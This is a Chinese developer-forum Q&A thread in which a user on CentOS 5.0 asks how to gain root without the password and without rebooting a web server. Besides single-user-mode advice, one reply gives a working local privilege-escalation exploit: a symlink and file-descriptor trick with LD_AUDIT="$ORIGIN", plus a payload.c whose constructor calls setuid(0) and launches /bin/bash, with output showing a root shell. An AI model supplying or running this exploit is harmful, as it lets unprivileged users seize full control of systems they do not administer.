开发者社区> 问答> 正文

急求解决!!!!root密码忘记了:操作报错

请教各位,centos5.0的系统,我现在以普通用户abc登录系统,想拥有root的权限,可是不知道root密码,有什么办法,可以解决。。。由于是web服务器,最好是不要重启服务器! 声明,小弟不是干坏事,是公司日本那边客户,自己忘记root密码了,让我们这边帮忙解决,各位给帮帮忙!!!急求,谢谢了

展开
收起
kun坤 2020-06-04 13:21:40 563 0
1 条回答
写回答
取消 提交回答
  • 搜了一下 http://www.suntw.com/default/centos-wang-ji-root-mi-ma.html 但不知道有效没######

    引用来自#2楼“PcX”的帖子

    搜了一下 http://www.suntw.com/default/centos-wang-ji-root-mi-ma.html 但不知道有效没

    这个是很简单的单用户 模式进入,是可以,不过一般都是web服务器,不让重启系统。 不过我已经找到办法解决了!!!^-^######如果普通用户没有sudo权限,那只能重启机器进入单用户模式下改了。######不重启做不到吧。。我博客上面记录了两种方法。http://linuxboy.org/?p=52你可以看看######你不重启怎么搞######

    01[test@demon ~]$ mkdir /tmp/a
    02[test@demon~]$ ln -s /bin/ls /tmp/a/b
    03[test@demon ~]$ exec 3< /tmp/a/b
    04[test@demon ~]$  gcc -w -fPIC -shared -o /tmp/a payload.c
    05[test@demon ~]$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
    06payload.c
    07[root@demon ~]#  id
    08uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
    09 
    10 payload.c内容如下
    11 
    12void __attribute__((constructor)) init()
    13{
    14    setuid(0);
    15    system("/bin/bash");
    16}
    ######貌似是个漏洞嘛 。。。######AIX 上 gcc -w -fPIC -shared -o /tmp/a payload.c 就报了 /usr/bin/ld: cannot open output file /tmp/a: 是一个目录 貌似无法利用的###### exec /proc/self/fd/3 这里的 3 和 exec 3< /tmp/a/b 有关吗 /proc/self/fd/ 也没有3 ######呀  突然想起来 我试的AIX 是2.4 KERNEL
    2020-06-05 14:26:14
    赞同 展开评论 打赏
问答分类:
问答地址:
问答排行榜
最热
最新

相关电子书

更多
低代码开发师(初级)实战教程 立即下载
冬季实战营第三期:MySQL数据库进阶实战 立即下载
阿里巴巴DevOps 最佳实践手册 立即下载